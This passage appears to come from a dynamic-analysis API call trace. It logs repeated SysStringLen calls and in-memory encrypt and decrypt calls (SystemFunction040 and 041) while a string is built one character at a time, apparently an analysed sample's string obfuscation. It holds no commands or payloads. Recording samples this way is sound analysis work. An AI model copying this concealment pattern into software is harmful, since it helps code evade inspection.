(param_1="ꯟ僙麢冘졛諒") returned 0x8 [0198.382] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.382] SysStringLen (param_1="J5Zw2m") returned 0x8 [0198.382] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.382] SysStringLen (param_1="ㇱ࢚벰첅碌뀯輥") returned 0x8 [0198.382] SysStringLen (param_1="ㇱ࢚벰첅碌뀯輥") returned 0x8 [0198.382] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.382] SysStringLen (param_1="J5Zw2mj") returned 0x8 [0198.382] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.382] SysStringLen (param_1="\诚蕌緇岡㲴凍䵮⋡) returned 0x8 [0198.382] SysStringLen (param_1="\诚蕌緇岡㲴凍䵮⋡) returned 0x8 [0198.383] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.383] SysStringLen (param_1="J5Zw2mjN") returned 0x8 [0198.383] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.383] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠") returned 0x8 [0198.383] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠") returned 0x8 [0198.383] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠") returned 0x8 [0198.383] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠") returned 0x10 [0198.383] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.383] SysStringLen (param_1="J5Zw2mjNz穓龶뎉꫎࣐詚ꟛ") returned 0x10 [0198.383] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.384] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠⽣Ꞑ툜𢡊ᔪ傓罢ꔫ") returned 0x10 [0198.384] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠⽣Ꞑ툜𢡊ᔪ傓罢ꔫ") returned 0x10 [0198.384] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.384] SysStringLen (param_1="J5Zw2mjNzM龶뎉꫎࣐詚ꟛ") returned 0x10 [0198.384] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.384] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠멱㯥Ꜷ廱⊃뮝") returned 0x10 [0198.384] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠멱㯥Ꜷ廱⊃뮝") returned 0x10 [0198.384] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.384] SysStringLen (param_1="J5Zw2mjNzM2뎉꫎࣐詚ꟛ") returned 0x10 [0198.384] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.384] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠ꎑ㫤\藜菛囤䔕鳙⊤) returned 0x10 [0198.384] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠ꎑ㫤\藜菛囤䔕鳙⊤) returned 0x10 [0198.384] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.385] SysStringLen (param_1="J5Zw2mjNzM2v꫎࣐詚ꟛ") returned 0x10 [0198.385] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.385] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠㝹謢蘒鄙냄꘳㾠켔") returned 0x10 [0198.385] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠㝹謢蘒鄙냄꘳㾠켔") returned 0x10 [0198.385] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.385] SysStringLen (param_1="J5Zw2mjNzM2vj࣐詚ꟛ") returned 0x10 [0198.385] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.385] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠㓑ખ™県\⛜ᑛ⊹) returned 0x10 [0198.385] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠㓑ખ™県\⛜ᑛ⊹) returned 0x10 [0198.385] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.385] SysStringLen (param_1="J5Zw2mjNzM2vjV詚ꟛ") returned 0x10 [0198.385] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.385] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠癱揽ì੖퍶ᤗ斢") returned 0x10 [0198.386] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠癱揽ì੖퍶ᤗ斢") returned 0x10 [0198.386] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.386] SysStringLen (param_1="J5Zw2mjNzM2vjV0ꟛ") returned 0x10 [0198.386] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.386] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠๜ꦙ揳瘝‥僯") returned 0x10 [0198.386] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠๜ꦙ揳瘝‥僯") returned 0x10 [0198.386] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.386] SysStringLen (param_1="J5Zw2mjNzM2vjV05") returned 0x10 [0198.386] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.386] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼") returned 0x10 [0198.386] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼") returned 0x10 [0198.387] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼") returned 0x10 [0198.387] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼") returned 0x18 [0198.387] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.387] SysStringLen (param_1="J5Zw2mjNzM2vjV05s⟗蛶呋率Ḝ齇") returned 0x18 [0198.387] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.387] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼묁漈わ偦࠳攷눮덵") returned 0x18 [0198.387] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼묁漈わ偦࠳攷눮덵") returned 0x18 [0198.387] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.387] SysStringLen (param_1="J5Zw2mjNzM2vjV05sf蛶呋率Ḝ齇") returned 0x18 [0198.387] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.387] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼윹嘚Ǐﶊ聞횏佒") returned 0x18 [0198.387] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼윹嘚Ǐﶊ聞횏佒") returned 0x18 [0198.387] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.388] SysStringLen (param_1="J5Zw2mjNzM2vjV05sfs呋率Ḝ齇") returned 0x18 [0198.388] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.388] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ᰅ徉왚푤襧락㙵") returned 0x18 [0198.388] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ᰅ徉왚푤襧락㙵") returned 0x18 [0198.388] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.388] SysStringLen (param_1="J5Zw2mjNzM2vjV05sfsm率Ḝ齇") returned 0x18 [0198.388] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.388] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼撫⸐Β橚값傛驹") returned 0x18 [0198.388] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼撫⸐Β橚값傛驹") returned 0x18 [0198.388] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.388] SysStringLen (param_1="J5Zw2mjNzM2vjV05sfsmSḜ齇") returned 0x18 [0198.388] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.388] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼愓캙泲㮆䠩傐颾벺") returned 0x18 [0198.388] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼愓캙泲㮆䠩傐颾벺") returned 0x18 [0198.389] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.389] SysStringLen (param_1="J5Zw2mjNzM2vjV05sfsmSMḜ齇") returned 0x18 [0198.389] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.389] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼䱆ࡌᕹ뷁ፚ\鿛㑼⊘) returned 0x18 [0198.389] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼䱆ࡌᕹ뷁ፚ\鿛㑼⊘) returned 0x18 [0198.389] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.389] SysStringLen (param_1="J5Zw2mjNzM2vjV05sfsmSMO齇") returned 0x18 [0198.389] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.389] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼劼⠆鉔輅ꩧᥨ숇") returned 0x18 [0198.389] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼劼⠆鉔輅ꩧᥨ숇") returned 0x18 [0198.389] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.389] SysStringLen (param_1="J5Zw2mjNzM2vjV05sfsmSMOH") returned 0x18 [0198.389] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.390] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀") returned 0x18 [0198.390] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀") returned 0x18 [0198.390] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀") returned 0x18 [0198.390] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀") returned 0x20 [0198.390] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.390] SysStringLen (param_1="J5Zw2mjNzM2vjV05sfsmSMOHJඐ焲囨죚ᚨ頻") returned 0x20 [0198.390] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.390] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀᧻餘઱뀶탍চྯ") returned 0x20 [0198.390] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀᧻餘઱뀶탍চྯ") returned 0x20 [0198.390] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.391] SysStringLen (param_1="J5Zw2mjNzM2vjV05sfsmSMOHJN焲囨죚ᚨ頻") returned 0x20 [0198.391] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.391] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀ဆ궤Ꭳ⒱㧬着諁") returned 0x20 [0198.391] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀ဆ궤Ꭳ⒱㧬着諁") returned 0x20 [0198.391] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.391] SysStringLen (param_1="J5Zw2mjNzM2vjV05sfsmSMOHJNw焲囨죚ᚨ頻") returned 0x20 [0198.391] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.391] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀ㄴ涡힞㾖懐찈䎫聎") returned 0x20 [0198.391] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀ㄴ涡힞㾖懐찈䎫聎") returned 0x20 [0198.391] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.391] SysStringLen (param_1="J5Zw2mjNzM2vjV05sfsmSMOHJNwX囨죚ᚨ頻") returned 0x20 [0198.391] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.391] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀\櫛ﶰ뒏核孽뉊∘) returned 0x20 [0198.392] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀\櫛ﶰ뒏核孽뉊∘) returned 0x20 [0198.392] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.392] SysStringLen (param_1="J5Zw2mjNzM2vjV05sfsmSMOHJNwXk죚ᚨ頻") returned 0x20 [0198.392] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.392] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀狱碫ꛛ唈핟螑") returned 0x20 [0198.392] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀狱碫ꛛ唈핟螑") returned 0x20 [0198.392] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.392] SysStringLen (param_1="J5Zw2mjNzM2vjV05sfsmSMOHJNwXkaᚨ頻") returned 0x20 [0198.392] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.392] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀ほ똂쩝麳驵") returned 0x20 [0198.392] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀ほ똂쩝麳驵") returned 0x20 [0198.392] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.392] SysStringLen (param_1="J5Zw2mjNzM2vjV05sfsmSMOHJNwXkaN頻") returned 0x20 [0198.392] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.393] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀䰂瞖筸䝈愫ｵ酖") returned 0x20 [0198.393] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀䰂瞖筸䝈愫ｵ酖") returned 0x20 [0198.393] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.393] SysStringLen (param_1="J5Zw2mjNzM2vjV05sfsmSMOHJNwXkaN7") returned 0x20 [0198.393] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.393] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀쒖熱鮪쌕唙\㷚⊲) returned 0x20 [0198.393] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀쒖熱鮪쌕唙\㷚⊲) returned 0x20 [0198.393] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀쒖熱鮪쌕唙\㷚⊲) returned 0x20 [0198.393] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀쒖熱鮪쌕唙\㷚⊲) returned 0x28 [0198.393] SystemFunction041 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.394] SysStringLen (param_1="J5Zw2mjNzM2vjV05sfsmSMOHJNwXkaN71䤤秛\쓞楃ک≿) returned 0x28 [0198.394] SystemFunction040 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.394] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀쒖熱鮪쌕唙\㷚ꢲ5깆织渘_伿꺰≃) returned 0x28 [0198.394] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀쒖熱鮪쌕唙\㷚ꢲ5깆织渘_伿꺰≃) returned 0x28 [0198.394] SystemFunction041 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.394] SysStringLen (param_1="J5Zw2mjNzM2vjV05sfsmSMOHJNwXkaN71v秛\쓞楃ک≿) returned 0x28 [0198.394] SystemFunction040 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.394] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀쒖熱鮪쌕唙\㷚妲䭢珪⒟ꯜ䦔ꦑ⊨) returned 0x28 [0198.394] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀쒖熱鮪쌕唙\㷚妲䭢珪⒟ꯜ䦔ꦑ⊨) returned 0x28 [0198.394] SystemFunction041 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.394] SysStringLen (param_1="J5Zw2mjNzM2vjV05sfsmSMOHJNwXkaN71vz秛\쓞楃ک≿) returned 0x28 [0198.394] SystemFunction040 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.394] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀쒖熱鮪쌕唙\㷚޲窲ྖ㑺悌ဖቍ⋹) returned 0x28 [0198.394] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀쒖熱鮪쌕唙\㷚޲窲ྖ㑺悌ဖቍ⋹) returned 0x28 [0198.395] SystemFunction041 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.395] SysStringLen (param_1="J5Zw2mjNzM2vjV05sfsmSMOHJNwXkaN71vzw\쓞楃ک≿) returned 0x28 [0198.395] SystemFunction040 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.395] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀쒖熱鮪쌕唙\㷚뾲齴፡涃てᢼᵆቚ⊱) returned 0x28 [0198.395] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀쒖熱鮪쌕唙\㷚뾲齴፡涃てᢼᵆቚ⊱) returned 0x28 [0198.395] SystemFunction041 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.395] SysStringLen (param_1="J5Zw2mjNzM2vjV05sfsmSMOHJNwXkaN71vzwI䏄ꥩ缆") returned 0x28 [0198.395] SystemFunction040 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.395] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀쒖熱鮪쌕唙\㷚겲滎딉蹏\峙쾀\囚≻) returned 0x28 [0198.395] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀쒖熱鮪쌕唙\㷚겲滎딉蹏\峙쾀\囚≻) returned 0x28 [0198.395] SystemFunction041 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.395] SysStringLen (param_1="J5Zw2mjNzM2vjV05sfsmSMOHJNwXkaN71vzwI3ꥩ缆") returned 0x28 [0198.395] SystemFunction040 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.396] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀쒖熱鮪쌕唙\㷚Ẳ例何堶੣熸䩅∟) returned 0x28 [0198.396] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀쒖熱鮪쌕唙\㷚Ẳ例何堶੣熸䩅∟) returned 0x28 [0198.396] SystemFunction041 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.396] SysStringLen (param_1="J5Zw2mjNzM2vjV05sfsmSMOHJNwXkaN71vzwI3r缆") returned 0x28 [0198.396] SystemFunction040 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.396] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀쒖熱鮪쌕唙\㷚ল賵慐鯝攽躸첄썮∺) returned 0x28 [0198.396] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀쒖熱鮪쌕唙\㷚ল賵慐鯝攽躸첄썮∺) returned 0x28 [0198.396] SystemFunction041 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.396] SysStringLen (param_1="J5Zw2mjNzM2vjV05sfsmSMOHJNwXkaN71vzwI3rc") returned 0x28 [0198.396] SystemFunction040 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.398] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀쒖熱鮪쌕唙\㷚ଫ䝻槢䣫쾅䎍쮈∷) returned 0x28 [0198.398] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀쒖熱鮪쌕唙\㷚ଫ䝻槢䣫쾅䎍쮈∷) returned 0x28 [0198.398] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀쒖熱鮪쌕唙\㷚ଫ䝻槢䣫쾅䎍쮈∷) returned 0x28 [0198.399] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀쒖熱鮪쌕唙\㷚ଫ䝻槢䣫쾅䎍쮈∷) returned 0x30 [0198.399] SystemFunction041 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0198.399] SysStringLen (param_1="J5Zw2mjNzM2vjV05sfsmSMOHJNwXkaN71vzwI3rcS䎞键冧ວ㮰אּ﫰") returned 0x30 [0198.399] SystemFunction040 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0198.399] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀쒖熱鮪쌕唙\㷚ଫ䝻槢䣫쾅䎍쮈︷婻횚愕㽄個⧓⋙) returned 0x30 [0198.399] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀쒖熱鮪쌕唙\㷚ଫ䝻槢䣫쾅䎍쮈︷婻횚愕㽄個⧓⋙) returned 0x30 [0198.399] SystemFunction041 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0198.399] SysStringLen (param_1="J5Zw2mjNzM2vjV05sfsmSMOHJNwXkaN71vzwI3rcSu键冧ວ㮰אּ﫰") returned 0x30 [0198.399] SystemFunction040 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0198.399] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀쒖熱鮪쌕唙\㷚ଫ䝻槢䣫쾅䎍쮈踷ῢྩⱼ쇿\䯛璏") returned 0x30 [0198.399] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀쒖熱鮪쌕唙\㷚ଫ䝻槢䣫쾅䎍쮈踷ῢྩⱼ쇿\䯛璏") returned 0x30 [0198.399] SystemFunction041 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0198.400] SysStringLen (param_1="J5Zw2mjNzM2vjV05sfsmSMOHJNwXkaN71vzwI3rcSuc冧ວ㮰אּ﫰") returned 0x30 [0198.400] SystemFunction040 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 